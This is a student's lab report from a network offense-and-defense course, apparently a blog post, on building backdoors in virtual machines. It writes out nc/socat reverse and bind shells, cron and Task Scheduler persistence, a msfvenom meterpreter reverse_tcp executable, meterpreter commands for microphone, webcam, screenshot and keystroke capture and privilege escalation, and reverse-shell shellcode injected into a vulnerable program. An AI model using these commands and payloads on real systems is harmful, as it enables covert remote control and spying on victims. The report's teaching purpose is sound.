2019-2020-2 网络对抗技术 20175230 Exp2 后门原理与实践

一、实践目标

  • 1.清楚后门概念
  • 2.会用nc获取远程主机的Shell
  • 3.会用meterpreter
  • 4.会启动后门

二、实践内容

  • 1.使用netcat获取主机操作Shell,cron启动
  • 2.使用socat获取主机操作Shell, 任务计划启动
  • 3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

三、实践原理

1.后门概念

  • 后门就是不经过正常认证流程而访问系统的通道,通常存在于以下位置:编译器留后门;操作系统留后门;最常见的当然还是应用程序中留后门;还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

2.常用后门工具

2.1 NC 或 netcat

是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Linux: 一般自带netcat,`"man netcat" 或"man nc"可查看其使用说明。

Windows: 课程主页附件中下载ncat.rar解压即可使用。
Mac: 系统自带,"man nc",查看其使用说明

  • 2.1.1 Win获得Linux Shell
    1.在windows中用ncat打开一个监听端口,端口号5230ncat.exe -l -p 5230
    2.在kail中使用nc命令-e选项执行shell,反向连接至主机对应端口nc 192.168.80.130 5230 -e /bin/sh
    3.进入主机,通过命令ls/或其他,验证运行kail的shell

  • 2.1.2 linux获取Windows shell
    1.Linux运行监听指令:nc -l -p 5230
    2.Windows反弹连接Linux:ncat.exe -e cmd.exe ip_of_linux 5230
    3.Linux下看到Windows的命令提示

  • 2.1.3 通过nc在两者间传输数据:主机下建立监听端口ncat.exe -l 5230,kail下建立连接至主机端口``nc 192.168.80.130 5230```,建立成功后可进行文字传输

  • 2.1.4 通过nc在两者间传输文件(kali->windows):Windows下建立端口同时定义接收地址ncat.exe -l 5230 > file1.out,kail下创建测试文件fileout(输入20175230),连接至主机进行文件输送nc 192.168.80.130 5230 < fileout

2.2 Meterpreter:Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。

2.3.Socat:又称Netcat++,超级netcat工具,是nc的加强版,任何代理、转发等功能都可以用该工具实现,使用方法与nc类似

四、实践步骤

任务一 使用netcat获取主机操作Shell,cron启动

  • 1.在Windows中设立监听端口ncat.exe -l -p 5230

  • 2.利用crontab -e指令编写一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器

  • 3.增加命令为40 * * * * /bin/netcat 192.168.80.130 5230 -e /bin/sh即为每个小时的第40分钟时执行后方命令(数字填写以自己做实验的时间来定,进行本次实验时为15:37,因此选择40)

  • 4.当时间到后进行测试

任务二 使用socat获取主机操作Shell, 任务计划启动

  • 1.在Window7系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,然后->创建任务…

  • 2.点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时,即锁屏时运行程序,也可以将任务设置为制定计划时,这样可以像任务一定时执行

  • 3.点击常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5230 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5230,同时把cmd.exe的stderr(标准输出(设备)文件,对应终端的屏幕)重定向到stdout上:

  • 4.创建完成之后,windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.80.130:5230这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5230端口,此时可以发现已经成功获得了一个cmd shell

任务三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 1.在kali中输入指令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5230 -f exe > 20175230_backdoor.exe

  • 2.在主机下执行ncat.exe -l 5230 > 201725230_backdoor.exe
    在kali中通过nc 192.168.80.130 5230 < 20175230_backdoor.exe将生成的后门程序传送到主机上

  • 4.Linux使用MSF打开监听进程
    在Linux中输入msfvenom进入MSF
    輸入use exploit/multi/handler进入handler

输入set payload windows/meterpreter/reverse_tcp设置连接(playload)
输入show options查看设置是否正确
输入set LHOST 192.168.189.136设置ip地址(Linux地址)
输入set LPORT 5217设置端口号
输入show options再次查看设置是否正确

输入exploit打开监听

  • 5.回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell
  • 6.注意:
    LHOST需要和上一步生成backdoor.exe的一致;
    LPORT也需要和上一步生成backdoor.exe的一致;
    payload也要一致,即windows/meterpreter/reverse_tcp

任务四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 1.进行任务三中的1-4步骤,然后使用record_mic指令截获一段音频

  • 2.使用webcam_snap/webcam stream指令可以使用摄像头进行拍照/摄影

  • 3.使用screenshot指令可以进行截屏

  • 4.在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 5.先使用getuid指令查看当前用户,使用getsystem指令进行提权

任务五 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 1.主要步骤同实验一,关闭地址随机化:
execstack -s pwn1   //设置堆栈可执行
execstack -q pwn1  //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space   //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化

  • 2.根据 %esp 值 + 4 = 0xffffd330,由此更改注入代码前 4 个 \x 数据。

  • 3.输入命令perl -e 'print "A" x 32;print"\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode_2

  • 4.在另终端中先启动 msfconsole

use exploit/multi/handler     //用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1              //设置IP为回环地址
set LPORT 4444        //根据代码设置端口
exploit   //设置完成开始监听

  • 5.返回exp1终端中后执行:(cat input_shellcode_2) | ./pwn1 ,成功获得shell 。

五、实践总结

  • 问题一:使用电脑物理机时,无法和虚拟机kali系统ping通(两端的防火墙均已关闭,kali->windows可以ping通,windows->kali无法ping通)
    问题一解决方案:没有找到方法,将物理机换成window7虚拟机时正常ping通
  • 问题二:在任务三中使用MSF meterpreter生成可执行文件时,出错
    问题二解决方法:由于默认安装的bundler为最新版本2.1.4。msfconsole依赖的版本为1.17.3,所以需要安装旧版本。执行如下命令:gem install bundler:1.17.3

六、问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?
    可以使用捆绑软件将后门程序捆绑到需要下载或者传输的文件、图片、程序等。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    linux下可以使用cron启动;各种启动脚本;和其他文件捆绑启动
    win下Windows->控制面板->管理工具->任务计划程序,新建任务计划进行启动;开机启动;安装服务启动;和其他文件捆绑
  • (3)Meterpreter有哪些给你映像深刻的功能?
    可以对启动了执行文件的目标机进行监控,比如开启摄像头、截屏、录音、获取输入等。
  • (4)如何发现自己有系统有没有被安装后门?
    检查自启动项是否异常,检查新建任务是否异常,进行入侵检测。

七、实践体会

本次实践活动虽然有老师的讲解和各位学长学姐的博客,但还是做的比较艰难,从任务二开始,就频频出错,首先是ping不通,上网查找了好多资料,最终也没有解决;然后想到可以用win7实验,但是运行两台虚拟机又比较卡,耗费了很长时间;虽然困难重重,但依然完成了实践,看其他同学的博客,好像很轻松的样子……纸上得来终觉浅,绝知此事要躬行,古人诚不欺我。
进过了此次实践,对网络安全问题有了更加深刻地认识(此前也没有经历过网络安全问题),在以后的学习生活中会慢慢注意网络安全问题的;同时也了解到了黑客的可怕, 体会到了黑客的心理活动。

参考博客:组长博客
同学博客

posted @ 2020-03-19 22:58  20175230滕星  阅读(159)  评论(0编辑  收藏  举报